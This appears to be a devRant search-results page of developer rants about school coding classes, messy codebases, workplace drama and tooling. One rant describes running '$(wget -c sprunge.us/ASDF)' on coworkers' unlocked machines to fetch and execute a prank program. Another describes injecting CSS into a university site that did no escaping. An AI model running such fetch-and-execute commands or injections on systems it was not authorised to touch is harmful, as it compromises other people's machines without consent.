Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "magic code"
-
In one of our first C programming classes today in college, I booted up Ubuntu on the dual boot systems to practice our first few programs which we were supposed to be doing in Turbo C on Windows.
I successfully compiled it using gcc on the first try which appeared like magic to my neighbor. Soon our teacher came to check my program and said that I made a mistake. I asked her what is the mistake? She said that I was supposed to be using conio.h!!
I argued that it is not a standard header file and using it makes the code non-portable. She tried it to edit it to include conio.h but couldn't edit it since I was using vim. I was asked to switch to Windows and use Turbo C instead and also use conio.h. I denied and she told me to follow her or leave the class.
The weather was nice.19 -
My thoughts on programming:
As a child:
It is 100% magic
As a developer:
It is 65% if/else statements, 34% iterating an array, 1% actual amazing and unique code17 -
“Yeah but you’re not a *real* developer”
Fuck. you.
I wrote 80% of this code base. I do 80% of the tickets/storyboard points. I do all of the QA. My nose is to the grindstone every fucking day honing this craft and sweating my balls off like a blacksmith staring into the red hot kiln while the sores of previous mistakes scream bloody murder from the unrelenting exposure to heat. I saw this amazing industry of opportunity, freedom and self examination and wanted in no matter what it took. I glued myself to every pithy resource I could possibly get my hands on and crawled through the muck and filth of it all until I could keep myself warm with the smallest spark of my own making. I stoked that spark until it became a fire and stoked that fire until I could set entire forests ablaze. I listened to the ungrateful people keeping warm by my combustion saying it “wasn’t hot enough” or “would have been a nicer colour if they did it” or “could have warmed up just fine jogging on the spot”. I made painstaking alterations to my ignition and watched my undeserving benefactors gradually be silenced and begin to sit quietly by the heat. I jumped into that inferno daily, was reduced to ash daily and emerged reborn daily. But you are right! I didn’t get scammed out of $40k+ studying technology in an archaic institution from instructors who don’t give a shit and answering “D all of the above” for 4+ years straight therefor my opinion doesn’t mean shit. Push your bullshit to prod and watch the server come burning out of the cloud as the apocalyptic swarm of angry tickets come flooding in why don’t you? Bet they didn’t teach you that in school. You’ve never poked around inside an open source codebase in your life. They are just a mystery boxes of magic that unless someone holds your hands with finely crafted instructions containing a 50/50 picture to word ratio you throw a hissy fit. Every problem that comes up instead of working to solve it you reflexively point to the first person in the room while thinking with your pea brain how you can possibly scapegoat them into taking the fall for whatever it is that’s come up today you couldn’t possibly understand.
Not a real developer?
Fuck. You.28 -
For people who think/find that open source solutions are always better than commercial/paid/proprietary ones, you are not going to like this rant.
I'm starting to get really fucking fed up with people always, whenever I see someone (including myself) mentioning that an open source solution which is an alternative to a closed source one, saying that it's shit.
I've had countless encounters on here (also irl) where someone mentions that an open source solution (GIMP or Libre Office for example) is shit by default while they've maybe (or probably?) not even used it themselves.
Also people going "you can't even compare those two as for what they can do/features/functions". I'm definitely not saying that those open solutions are perfect. But to call them worthless or shit and/or to say that you literally 'cannot compare them' or that the open solution just doesn't work as a *FACT* is fucking bullshit.
Let's take GIMP for example, the use case of a friend of mine:
- He works both with macOS and Linux Mint, he *needs* a design/photo editing tool which is cross platform. (or at least one which works on macOS+Linux)
- He does not mind paying for software but he prefers to use software which is free as in freedom because he also likes to tinker with the software (a lot of people find this argument bullshit, I noticed on here. Why is that? It's a valid reason. Maybe not for you but we're not talking about you right now).
- He likes Photoshop but due to Linux incompatibility and the fact that he can't tinker around with the code, it's not an option for him.
- He'd gladly go for paid software but GIMP fills all his design/photo editing needs (also the more advanced ones but don't ask them to me because I have no fucking clue how that shit works)
- GIMP *just works* for him, he never has trouble with it.
Let's take Libre Office, my own use case:
- It *NEEDS* to work on Linux, which Libre does.
- It *HAS* to be open source, ethic/moral thingy; Libre Office is open source.
- It doesn't need to work complete magic but it needs proper basic document and 'excel' sheet functionalities which is the case with Libre and it works *for me*.
- I don't mind paying for it, will probably donate in the future (seeding the macOS+windows+linux versions fulltime at the moment)
See, for our use cases, it works very well. So why go into "it's no match for proprietary alternatives" mode right away? It actually is, as you see in the examples above.
Please stop saying that those solutions *don't work* or *are shit* because they do work and are useful for me and loads of people around the world.
Do they have *ALL* the features which their proprietary alternatives have? Maybe, maybe not, maybe they're missing some and maybe they even have some features which the proprietary alternatives don't have, I haven't checked out every feature.
I'm not saying that it works for you, for the record, I'm just saying that just because for you it is a fact that they're bad/shit/hardly working, doesn't mean they are for others.21 -
Watching the Dutch government trying to get through the public procurement process for a "corona app" is equal parts hilarious and terrifying.
7 large IT firms screaming that they're going to make the perfect app.
Presentations with happy guitar strumming advertisement videos about how everyone will feel healthy, picnicking on green sunny meadows with laughing families, if only their app is installed on every citizen's phone.
Luckily, also plenty of security and privacy experts completely body-bagging these firms.
"It will connect people to fight this disease together" -- "BUT HOW" -- "The magic of Bluetooth. And maybe... machine learning. Oh! And blockchain!" -- "BUT HOW" -- "Shut up give us money, we promise, our app is going to cure the planet"
You got salesmen, promising their app will be ready in 2 weeks, although they can't even show any screenshots yet.
You got politicians mispronouncing technical terminology, trying hard to look as informed as possible.
You got TV presenters polling population support for "The App" by interviewing the most digitally oblivious people.
One of the app development firms (using some blockchain-based crap) promised transparency about their source code for auditing.... so they committed their source, including a backup file from one of their other apps, containing 200 emails/passwords to Github.
It's kind of entertaining... in the same way as a surgery documentary about the removal of glass shards from a sexually adventurous guy's butthole.
Imma keep watching out of morbid fascination.... from a very safe distance, far away from the blood and shit that's splattering against the walls.
And my phone -- keep your filthy infected bytes away from my sweet baby.
I'll stick with social distancing, regular hand washing, working from home and limited supermarket trips, thank you very much.26 -
Me: Well, it's time to make a new app!
* opens up VS Code *
* opens folder selection dialog *
* creates a new folder called "notes app" *
* yarn inits that folder *
* installs react and react-dom *
* installs webpack, webpack-cli, babel-core, babel-loader, babel-preset-env, babel-preset-react, style-loader, css-loader, file-loader, html-webpack-plugin and clean-webpack-plugin as a dev dependency (install is pending) *
* copies a webpack config from some other project *
* creates a babelrc file *
* copies a yarn script called "build:dev" which would launch webpack *
* dev dependencies installed *
* tries to save *
* vscode doesn't save because files differ *
* tries to copy dev dependencies *
* fail *
* tries again *
* saves *
* writes bare-bones index.jsx *
* yarn build:dev *
* opens build/index.html in firefox *
* gets satisfaction *
* writes bare-bones App.jsx which is a react component but it's an entire app *
* yarn build:dev *
* opens build/index.html in firefox *
* gets satisfaction *
-- trim --
* walks out of his room to his mom's room where's sbc is located *
* grandma plays solitare on laptop *
* i ask grandma for a laptop *
* grandma gives me laptop *
* glues all components into App.jsx *
* yarn start:dev (magic of webpack-dev-server) *
* opens localhost:8080 in firefox *
* searches how to update a component prop *
* nothing found *
* registers on devrant and verifies his email *
* writes this rant *14 -
I need more dev friends... currently drinking a beer alone. Not that I am alone but I am unable to engage in normal conversation at the moment. Just finished a 7 hour coding binge where I developed a solution which I am very proud of and which results in weeks of development time saved for the company which results in more time for proper refactorimg and Magic tournaments. I just want to sit down with a friend, show my code, ask for improvements and reason the chosen solution. And drink beer.39
-
Just thought that there should be a Harry Potter based code camp where the four houses represents a language that you are learning at the camp.
For example, Gryffindor can be ruby, Hufflepuff can be Javascript, Ravenclaw can be PHP and, of course, Python is Slytherin.14 -
One of our teachers developed a website for our university about three years ago. That was something like assignments management system + social network + schedule, everything in the world as one website.
It seemed like he didn't put any code escaping at all. Injected a block of CSS that made the entire page slowly fade away when some user tried to look at my page. Other teachers stared at it as if it was pure magic, doubting their sanity.
Still isn't fixed btw :)6 -
So, I sign up for devrant and read all about the school devops fuckery everyone seems to have.
The only problem is, computers at my school's lab has no internet access and only a pirated copy of.... Visual Studio *6*. Hell, that's 5 years older than I am.
No python, no git, nothing. The best part, you ask? They use VS6 just for teaching 9th graders Visual Basic, and for C and C++, they use TurboC++ in DOSBox. 25-year old software. They teach us Pre-ANSI C++.
No fucking wonder people from here re-learn everything on the job. I jumped the gun and started messing with basic C++ in 7th grade, and then had to go back and remember that 25 years ago, they used <iostream.h> instead of just <iostream>.
Everyone just saves their code in the TC/BIN folder in DOS too, making it more of a chaotic mess than anything ever imaginable.
Bringing your own device? Too bad that's against the school rules.
The fact that they went out of their damn way to make me use TurboC in DOSBox on Windows 7 instead of giving me a sane Linux install with an editor and GCC is just... ugh.
My classmates all think I work magic, while all I really do is simple logic. Schools here in India are almost universally terrible.
Well, it's a good thing I started learning it on my own, because if I thought programming was in any way similar to how they try to teach it to us, I would've given up a long time ago.18 -
Story time. My first story ever on devRant.
To my ex-company that I bear for a long time... I joined my ex-company 3 years ago. My ex-company assigned me and one girl teammate to start working on a brand new big web project (big one - two members - really?)
My teammate quitted later, I have to work alone after then. I asked if someone can join this project, but manager said other people are busy. Yea, they are fucking busy reading MANGA shit everyday... Oops, I saw it because whenever I about to leave my damn chair, they begin chanting some hotkey magic and begin doing "poker face" like "I'm doing some serious shit right here".. FUCK MY CO-WORKERS!
My manager didn't know shit about software development, and keep barking about Agile, Waterfall and AI shit... He didn't even fucking know what this project should look like, he keep searching the internet for similar functions and gave me screenshots, or sometimes they even hold a meeting of a bunch of random non-related guys who even not working on the project, to discuss about requirements, which last for endless hours... FUCK MY MANAGER!
I was the one in charge for everything. I design the architecture, database, then I fucking implement my own designed architect myself, and I fucking test functions that I fucking implemented myself based on my fucking design. I was so tried, I don't know what the fuck I am working on. Requirement changes everyday. My beautiful architecture began to falling off. I was so tired and began use hack fixes here and there many places in the project. I knew it's bad, but I just don't have time to carefully reconsider it. My test case began becoming useless as requirements changed. My manager's boss push him to finish this project. He began to test, he start complaining about bug here and there, blaming me about why functions are broken, and why it not work as he expected (which he didn't even tell my how he expected). ... I'm not junior developer, but this one-man project is so overwhelmed for me... FUCK MY JOB!
At this time, I have already work this project for almost 2.5 years. I felt very upset. I also feel disappointed about myself, although I know that is not all my entire faults. The feeling that you was given a job, but you can not get it done, I feel like a fucking LOSER. I really wanted to quit and run away from this shithole. But on the other hand I also want to finish this project before I quit. My mind mixed. I'm a hard-worker. I keep pushing myself, but the workplace is so toxic, I can feel it eating up my motivation everyday. I start questioning myself: "Is the job I am doing important?", "If this is really important project, didn't they should assign more members?", I feel so lonely at work... MY MIND IS FUCKED UP!
Finally, after a couple months of stress. I made up my mind that no way this project is gonna end within my lifespan. I decide to quit. Although my contract pointed that I only need to tell one month in advance. I gave my manager 3 months to find new members for project. I did handle over what I know, documents, and my fucked up ultra complexity source code with many small sub-systems which I did all by myself.
Well, I am with a new employer right now. They are good company. At least, my new manager do know how to manage things. My co-workers are energy and hard-working. I am put to fight on the frontline as usual (because of my "Senior position"). But I can feel my team, they got my back. My loneliness is now gone. Job is still hard, but I know for sure that I'm doing things on purpose, I am doing something useful. And to me that is the greatest rewards and keep me motivative! From now, will be the beginning for first page of my new story...
Thanks for reading ...12 -
This codebase reminds me of a large, rotting, barely-alive dromedary. Parts of it function quite well, but large swaths of it are necrotic, foul-smelling, and even rotted away. Were it healthy, it would still exude a terrible stench, and its temperament would easily match: If you managed to get near enough, it would spit and try to bite you.
Swaths of code are commented out -- entire classes simply don't exist anymore, and the ghosts of several-year-old methods still linger. Despite this, large and deprecated (yet uncommented) sections of the application depend on those undefined classes/methods. Navigating the codebase is akin to walking through a minefield: if you reference the wrong method on the wrong object... fatal exception. And being very new to this project, I have no idea what's live and what isn't.
The naming scheme doesn't help, either: it's impossible to know what's still functional without asking because nothing's marked. Instead, I've been working backwards from multiple points to try to find code paths between objects/events. I'm rarely successful.
Not only can I not tell what's live code and what's interactive death, the code itself is messy and awful. Don't get me wrong: it's solid. There's virtually no way to break it. But trying to understand it ... I feel like I'm looking at a huge, sprawling MC Escher landscape through a microscope. (No exaggeration: a magnifying glass would show a larger view that included paradoxes / dubious structures, and these are not readily apparent to me.)
It's also rife with bad practices. Terrible naming choices consisting of arbitrarily-placed acronyms, bad word choices, and simply inconsistent naming (hash vs hsh vs hs vs h). The indentation is a mix of spaces and tabs. There's magic numbers galore, and variable re-use -- not just local scope, but public methods on objects as well. I've also seen countless assignments within conditionals, and these are apparently intentional! The reasoning: to ensure the code only runs with non-falsey values. While that would indeed work, an early return/next is much clearer, and reduces indentation. It's just. reading through this makes me cringe or literally throw my hands up in frustration and exasperation.
Honestly though, I know why the code is so terrible, and I understand:
The architect/sole dev was new to coding -- I have 5-7 times his current experience -- and the project scope expanded significantly and extremely quickly, and also broke all of its foundation rules. Non-developers also dictated architecture, creating further mess. It's the stuff of nightmares. Looking at what he was able to accomplish, though, I'm impressed. Horrified at the details, but impressed with the whole.
This project is the epitome of "I wrote it quickly and just made it work."
Fortunately, he and I both agree that a rewrite is in order. but at 76k lines (without styling or configuration), it's quite the undertaking.
------
Amusing: after running the codebase through `wc`, it apparently sums to half the word count of "War and Peace"15 -
On the 18th October 2021 I had to hastily write some magic numbers into our code.
I added a comment saying "TODO: add a damn enum to make this selection clear"
Today, I refactored this module... and I used a damn enum.
Good things happen – have a nice weekend yall10 -
I had this prepared in advance and executed on April 1st few years ago.
1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.
Man, that was hilarious.2 -
I just released a tiny game for iPhone!
It's basically an attempt to mix 'Heroes of Might & Magic' and mtg.
In the screenshot my terminal says 'helloworld.cpp'. That's right, this is my first c++ program and I don't care how crappy you think this game is, I'm super proud of myself!
I've always worked in data science where managers assume I know how to code because there's text on my screen and I can query and wrangle data, but I actually didn't know what a class was until like 3 years into my job.
Making this game was my attempt to really evolve myself away from just statistics / data transforms into actual programming. It took me forever but I'm really happy I did it
It was brutal at first using C++ instead of R/Python that data science people usually use, but now I start to wonder why it isn't more popular. Everything is so insanely fast. You really get a better idea of what your computer is actually doing instead of just standing on engineers' shoulders. It's great.
After the game was 90% finished (LOL) I started using Swift and Spritekit to get the visuals on the screen and working on iPhone. That was less fun. I didn't understand how to use xCode at all or how to keep writing tests, so I stopped doing TDD because I was '90% done anyway' and 'surely I'll figure out how to do basic debugging'. I'll know better next time...22 -
!!office drama
I haven't been around much in recent weeks. Due to family illness, christmas shopping, dealing with estranged parents, and brooding over the foregoing, I haven't had a lot of time or energy left to myself.
tl;dr: The CTO ("API Guy") is ostensibly getting fired, and I might be taking over his job. I don't know if I should accept, try to stave this off, or simply flee.
------
Anyone who has been following my recent rants knows that API Guy is my boss, and he often writes terrible code. It's solid and unbreakable, but reading it is a *nightmare.* One of our applications is half the length of Leo Tolstoy's War and Peace, and it's difficult to tell what code is live and what amounts to ancient, still-active landmines. This is one application; we have several, most of which I've never even looked at.
Ostensibly the code is so terrible because the company grew extremely quickly, and API Guy needed to cram in lots of unexpected / planned-against features. From what I can see, that seems about right, but I haven't checked timeframes [because that's a lot of work!].
Here's a brief rundown of the situation.
- API Guy co-founded the company with the CEO.
- CEO and API Guy have been friends for a long time.
- CEO belives the company will fail with API Guy as head of tech.
- They could just be testing me; I have zero way of knowing. API Guy seems totally oblivious, and CEO seems sincere, so this feels pretty doubtful.
- CEO likes pushing people around. CEO believes he can push me around. API Guy doesn't budge. (I probably won't, either, except to change task priorities.)
- API Guy's code is huge and awful, but functional.
- API Guy is trying to clean up the mess; CEO doesn't understand (maybe doesn't care).
- Literally nobody else knows how the code works.
- Apart from API Guy and myself, the entire company is extroverted sales people.
- None of these sales people particularly like me.
- Sales people sell and sell and sell without asking development if they can pull enough magic features out of their hat to meet the arbitrary saleslines. (because the answer is usually no)
- If I accept, I would be the sole developer (at first) and responsible for someone else's mountain of nightmarish code, and still responsible for layering on new features at the same pace as he. Pay raise likely, but not guaranteed.
- My getting the position is contingent upon the CEO and the investors, meaning it's by no means guaranteed.
- If I don't accept, likely API Guy will be replaced with someone else of unknown ability, who doesn't know the code, and whom I must answer to regardless. Potentially OK, potentially a monumental disaster.
Honestly, it feels like I'm going to be screwed no matter what course I choose.
Perhaps accepting is slightly better?
The best would be to assume the position of CTO and keep API Guy around -- but that would feel like an insult to him. I doubt he'd be okay with it. But maybe. Who knows? I doubt the CEO would seriously consider that anyway.
I feel like a lamb between a dim, angry rhino, and an oblivious one.23 -
I'm the only windows user in my office(my only other choice was Mac). One of the salesmen walks in my office with his macbook.
salesman: what do you know about macs?
me: nothing, why?
salesman: well I just got a new MacBook and I can't right-click, is there like a setting or something I gotta click?
me: well there's no "right-click" by default on Macs, but I think there's a way so you can click with the right side of the touchpad and get the "command-click" you're looking for. stand over there quietly while I finish this function then I'll look into it.
*i proceed to fiddle with some code for 5 or so minutes while he stands in the corner*
me: ok so let's look at your MacBook... ok *at this point I jump on my computer* let's see what Google has to say.
search: enable right-click on mac
me: huh! look at that! Google gives you the answer right there, poof! like magic. now we just follow directions, system settings>keyboard and touchpad>enable click with bottom right corner. bam! anything else?
salesman: yeah, I want the little bar thing to go away *talking about the dock auto-hide
me: ok well that's called the dock, let's ask Google again...look, Google gives the answer again, without even needing to click any links, I could probably click these links and get more in-depth instructions, but right here at the top is the answer
salesman: wow man, thanks! I've got a meeting in 10 minutes and I never would have figured this out.
*before he leaves
me: here take this...4 -
Let the student use their own laptops. Even buy them one instead of having computers on site that no one uses for coding but only for some multiple choice tests and to browse Facebook.
Teach them 10 finger typing. (Don't be too strict and allow for personal preferences.)
Teach them text navigation and editing shortcuts. They should be able to scroll per page, jump to the beginning or end of the line or jump word by word. (I am not talking vi bindings or emacs magic.) And no, key repeat is an antifeature.
Teach them VCS before their first group assignment. Let's be honest, VCS means git nowadays. Yet teach them git != GitHub.
Teach git through the command line. They are allowed to use a gui once they aren't afraid to resolve a merge conflict or to rebase their feature branch against master. Just committing and pushing is not enough.
Teach them test-driven development ASAP. You can even give them assignments with a codebase of failing tests and their job is to make them pass in the beginning. Later require them to write tests themselves.
Don't teach the language, teach concepts. (No, if else and for loops aren't concepts you god-damn amateur! That's just syntax!)
When teaching object oriented programming, I'd smack you if do inane examples with vehicles, cars, bikes and a Mercedes Benz. Or animal, cat and dog for that matter. (I came from a self-taught imperative background. Those examples obfuscate more than they help.) Also, inheritance is overrated in oop teachings.
Functional programming concepts should be taught earlier as its concepts of avoiding side effects and pure functions can benefit even oop code bases. (Also great way to introduce testing, as pure functions take certain inputs and produce one output.)
Focus on one language in the beginning, it need not be Java, but don't confuse students with Java, Python and Ruby in their first year. (Bonus point if the language supports both oop and functional programming.)
And for the love of gawd: let them have a strictly typed language. Why would you teach with JavaScript!?
Use industry standards. Notepad, atom and eclipse might be open source and free; yet JetBrains community editions still best them.
For grades, don't your dare demand for them to write code on paper. (Pseudocode is fine.)
Don't let your students play compiler in their heads. It's not their job to know exactly what exception will be thrown by your contrived example. That's the compilers job to complain about. Rather teach them how to find solutions to these errors.
Teach them advanced google searches.
Teach them how to write a issue for a library on GitHub and similar sites.
Teach them how to ask a good stackoverflow question :>6 -
ARGH. I wrote a long rant containing a bunch of gems from the codebase at @work, and lost it.
I'll summarize the few I remember.
First, the cliche:
if (x == true) { return true; } else { return false; };
Seriously written (more than once) by the "legendary" devs themselves.
Then, lots of typos in constants (and methods, and comments, and ...) like:
SMD_AGENT_SHCEDULE_XYZ = '5-year-old-typo'
and gems like:
def hot_garbage
magic = [nil, '']
magic = [0, nil] if something_something
success = other_method_that_returns_nothing(magic)
if success == true
return true # signal success
end
end
^ That one is from our glorious self-proclaimed leader / "engineering director" / the junior dev thundercunt on a power trip. Good stuff.
Next up are a few of my personal favorites:
Report.run_every 4.hours # Every 6 hours
Daemon.run_at_hour 6 # Daily at 8am
LANG_ENGLISH = :en
LANG_SPANISH = :sp # because fuck standards, right?
And for design decisions...
The code was supposed to support multiple currencies, but just disregards them and sets a hardcoded 'usd' instead -- and the system stores that string on literally hundreds of millions of records, often multiple times too (e.g. for payment, display fees, etc). and! AND! IT'S ALWAYS A FUCKING VARCHAR(255)! So a single payment record uses 768 bytes to store 'usd' 'usd' 'usd'
I'd mention the design decisions that led to the 35 second minimum pay API response time (often 55 sec), but i don't remember the details well enough.
Also:
The senior devs can get pretty much anything through code review. So can the dev accountants. and ... well, pretty much everyone else. Seriously, i have absolutely no idea how all of this shit managed to get published.
But speaking of code reviews: Some security holes are allowed through because (and i quote) "they already exist elsewhere in the codebase." You can't make this up.
Oh, and another!
In a feature that merges two user objects and all their data, there's a method to generate a unique ID. It concatenates 12 random numbers (one at a time, ofc) then checks the database to see if that id already exists. It tries this 20 times, and uses the first unique one... or falls through and uses its last attempt. This ofc leads to collisions, and those collisions are messy and require a db rollback to fix. gg. This was written by the "legendary" dev himself, replete with his signature single-letter variable names. I brought it up and he laughed it off, saying the collisions have been rare enough it doesn't really matter so he won't fix it.
Yep, it's garbage all the way down.16 -
The nightmare continues.
Currently dealing with a code review from a “principal” dev (one step above senior), who is unironically called a “legendary dev” by some coworkers. It’s painfully obvious he didn’t read the code, and just started complaining and nitpicking.
It’s full of requests to do things that make absolutely no sense, and would make the code an unmaintainable mess.
• Ex: moving the logic and data collection from the module’s many callers into the module instead of just passing in the data.
• Ex: hiding api endpoint declarations by placing them in the module itself, and using magic instance variables to pass data to it. Basically: using global functions and variables instead of explicit declarations and calls.
• Ex: moving the logic to determine which api endpoint to use, for all callers, into the view.
More comments about methods being “too complex” (barely holds water) right next to comments saying “why are these separate? merge them together!”
Incredulously asking how many times I’m checking permissions and how ridiculous it all is. (The answer? Twice.)
Conflating my “permissions” param and method names with a supposedly forthcoming permissions system overhaul, and saying I shouldn’t use permissions because my code will all have to get rewritten. Even if that were true, and it’s likely not, the ticket still needs to use the current permissions. I can’t just ignore them because they might be rewritten someday.
Requests to revert some code cleanup because the reviewer thought the previous heavily-nested and uncommented versions (with code duplication) were easier to read. Unsurprisingly, he wrote them.
On the same ticket, my boss wants me to remove all styling and clientside validation, debouncing, and error messages from a form. Says “success” and “connection failed” messages are good enough. The form in question sends SMS and email using arbitrary user input for addresses. He also says it shouldn’t be denounced on the server, and doesn’t want me to bother checking permissions. Hello, spam!
Related: the legendary dev reviewer says he can’t think of a reason why we would want to disable the feature for consumers, so I should remove the consumer feature flag.
You can’t make this stuff up.7 -
In the begining of time, when The Company was small and The Data could fit in some fucking excel sheets, Those Who Came Before implemented some java tool to issue invoices, notify customers and clear received payments.
Then came the Time Of The Great Expanse, when The Company grew to unthinkable levels. Headcount increased with each passing day, and The Data shows that everything was going great!
But when the future seemed bright, came The Stall-Out. The days when The Company could not expand as fast as it did before. And Those Who Came Before left, abandoning their Undocumented Java Tool to its own luck.
Those who came after knew nothing of the inner workings of the Undocumented Java Tool. They knew only that the magical Jar would take a couple fucking excel spreadsheets and spit out reports and send emails like magic.
And those were The Dark Days.
In the darkness, The Data grew to be a monster. Soon a fucking excel spreadsheet could not hold The Data contained any longer. Those Who Came After, fearing the wrath of The Undocumented Java Tool, dared not mess with its code. Instead, they fucking cut away the lowest volume transactions from the fucking input spreadsheet, and left the company to report the unbilled invoices as "surprise losses". Fucking script kiddies, were Those Who Came After.
Then, at The Darkest of Days (literally, Dec 21st), marched into the project The Six Witchers, who fear not the Demon of Refactoring.
This story is still unfolding. Will The Six Witchers manage to unravel the mysteries of The Undocumented Java Tool? Will they be able to reverse engineer the fucking black box, and scale it's magic into a modern application?
Will they decrease revenue forecasting error by at least 2% in a single strike?
Only the future will tell.16 -
My mother is the one that introduced me to computers from a young age. She would tell me that they were the future and that people could do amazing things with them. Fast forward at me graduating from uni with a B.S in Computer science and she was the happiest :) she tells everyone that I am a computer scientist, she seldom says "programmer" or "developer". She is super well versed in general computing and can use Linux and Mac, so yeah :) mom is awesome. My dad has lil idea of what I do, to him its just magic, my step dad is the same way but he will be the first to tell everyone that I am a wizard.
My brother and sister could care less...my sister tells everyone that I am the smartest person she knows, but that I spend most of my time glued to the screen "playing with a bunch of weird code!"
The rest of my family is pretty meh about it, 2 of my uncles are super proud of it and normally ask for my input regarding tech or about life as a dev.
Finally, the wife. The wife knows how to code from before I even knew what code was :) so she knows exactly what I do :)8 -
Worst hack/attack I had to deal with?
Worst, or funniest. A partnership with a Canadian company got turned upside down and our company decided to 'part ways' by simply not returning his phone calls/emails, etc. A big 'jerk move' IMO, but all I was responsible for was a web portal into our system (submitting orders, inventory, etc).
After the separation, I removed the login permissions, but the ex-partner system was set up to 'ping' our site for various updates and we were logging the failed login attempts, maybe 5 a day or so. Our network admin got tired of seeing that error in his logs and reached out to the VP (responsible for the 'break up') and requested he tell the partner their system is still trying to login and stop it. Couple of days later, we were getting random 300, 500, 1000 failed login attempts (causing automated emails to notify that there was a problem). The partner knew that we were likely getting alerted, and kept up the barage. When alerts get high enough, they are sent to the IT-VP, which gets a whole bunch of people involved.
VP-Marketing: "Why are you allowing them into our system?! Cut them off, NOW!"
Me: "I'm not letting them in, I'm stopping them, hence the login error."
VP-Marketing: "That jackass said he will keep trying to get into our system unless we pay him $10,000. Just turn those machines off!"
VP-IT : "We can't. They serve our other international partners."
<slams hand on table>
VP-Marketing: "I don't fucking believe this! How the fuck did you let this happen!?"
VP-IT: "Yes, you shouldn't have allowed the partner into our system to begin with. What are you going to do to fix this situation?"
Me: "Um, we've been testing for months already went live some time ago. I didn't know you defaulted on the contract until last week. 'Jake' is likely running a script. He'll get bored of doing that and in a couple of weeks, he'll stop. I say lets ignore him. This really a network problem, not a coding problem."
IT-MGR: "Now..now...lets not make excuses and point fingers. It's time to fix your code."
IT-VP: "I agree. We're not going to let anyone blackmail us. Make it happen."
So I figure out the partner's IP address, and hard-code the value in my service so it doesn't log the login failure (if IP = '10.50.etc and so on' major hack job). That worked for a couple of days, then (I suspect) the ISP re-assigned a new IP and the errors started up again.
After a few angry emails from the 'powers-that-be', our network admin stops by my desk.
D: "Dude, I'm sorry, I've been so busy. I just heard and I wished they had told me what was going on. I'm going to block his entire domain and send a request to the ISP to shut him down. This was my problem to fix, you should have never been involved."
After 'D' worked his mojo, the errors stopped.
Month later, 'D' gave me an update. He was still logging the traffic from the partner's system (the ISP wanted extensive logs to prove the customer was abusing their service) and like magic one day, it all stopped. ~2 weeks after the 'break up'.8 -
Porting over code to python3 from python2 be like:
(Cakechat, in this case)
Day 0 of n of python 3 compatibility work:
This should be _easy_, just use six and do magic!
Day 1 of n:
Oh, true division is default instead of integer division, so I need to replace `/` with `//` in a few places.
Day 2 of n:
Oh, map in python2 behaves differently than map in python3, one returns a list, other an iterator. Time to replace it with `list(map())` then.
Day 3 of n:
Argh, lambdas don't evaluate automatically, time to fix that too.
Day 4 of n:
Why did I bother trying to port this code in the first place? It's been so long and I DON'T EVEN KNOW WHAT IS BROKEN BECAUSE THE STUFF RUNS WHEN I BREAKPOINT AND STEP THROUGH BUT NOT WHEN I RUN IT DIRECTLY?!
Day ??? of n:
[predicted]
*gives up*
I've had enough.4 -
That would probably be implementing multithreading in shell scripts.
https://gitlab.com/netikras/bthread
The idea (though not the project itself) was born back when I still was a sysadmin. Maintaining 30k servers 24/7 was quite something for a team of merely ~14 people. That includes 1st line support as well.
So I built a script to automate most of my BAU chores. You could feed a list of servers - tens or hundreds or more - and execute the same action on each of them (actions could be custom or predefined in the list of templates). Neither Puppet nor Chef or Ansible or anything of sorts was consistently deployed in that zoo, not to mention the corp processes made use of those tools even a slower approach than the manual one, so I needed my own solution.
The problem was the timing. I needed all those commands to execute on all the servers. However, as you might expect, some servers could be frozen, others could be in DMZ, some could be long decommed (and not removed from the listings), etc. And these buggars would cause my solution to freeze for longer than I'd like. Not to mention that running something like `sar -q 1 10` on 200 servers is quite time-consuming itself :)
And how do I get that output neatly and consistently (not something you'd easily get with moving the task to a background with '&'. And even with that you would not know when are all the iterations complete!)?
So many challenges...
I started building the threading solution that would
- execute all the tasks in parallel
- do not write anything to disks
- assign a title to each of the tasks
- wait for all the tasks to complete in either
> the same sequence as started
> as soon as the task finishes
- keep track of each task's
> return code
> output
> command
> sequence ID
> title
- execute post-finish actions (e.g. print to the console) for each of the tasks -- all the tracked properties are to be accessible by the post-finish actions.
The biggest challenges were:
a) how do I collect all that output without trashing my filesystems?
b) how do I synchronize all those tasks
c) how do I make the inception possible (threads creating threads that create their own threads and so on).
Took me some time, but I finally got there and created the libbthread library. It utilizes file descriptors, subshells and some piping magic to concentrate the output while keeping track of all the tasks' properties. I now use it extensively in my new tools - the ones where I can't use already existing tools and can't use higher-level languages.4 -
Hmm our bundle js is already 1.35Mb maybe I should do something with that.
... Insert 2 hours of frantic webpack magic + babel-preset tweeking, tree-shake code optimization ...
- npm run build
- bundle.js => 1.37Mb
Great Success! I'm going to take a lunch...4 -
I could bitch about XSLT again, as that was certainly painful, but that’s less about learning a skill and more about understanding someone else’s mental diarrhea, so let me pick something else.
My most painful learning experience was probably pointers, but not pointers in the usual sense of `char *ptr` in C and how they’re totally confusing at first. I mean, it was that too, but in addition it was how I had absolutely none of the background needed to understand them, not having any learning material (nor guidance), nor even a typical compiler to tell me what i was doing wrong — and on top of all of that, only being able to run code on a device that would crash/halt/freak out whenever i made a mistake. It was an absolute nightmare.
Here’s the story:
Someone gave me the game RACE for my TI-83 calculator, but it turned out to be an unlocked version, which means I could edit it and see the code. I discovered this later on by accident while trying to play it during class, and when I looked at it, all I saw was incomprehensible garbage. I closed it, and the game no longer worked. Looking back I must have changed something, but then I thought it was just magic. It took me a long time to get curious enough to look at it again.
But in the meantime, I ended up played with these “programs” a little, and made some really simple ones, and later some somewhat complex ones. So the next time I opened RACE again I kind of understood what it was doing.
Moving on, I spent a year learning TI-Basic, and eventually reached the limit of what it could do. Along the way, I learned that all of the really amazing games/utilities that were incredibly fast, had greyscale graphics, lowercase text, no runtime indicator, etc. were written in “Assembly,” so naturally I wanted to use that, too.
I had no idea what it was, but it was the obvious next step for me, so I started teaching myself. It was z80 Assembly, and there was practically no documents, resources, nothing helpful online.
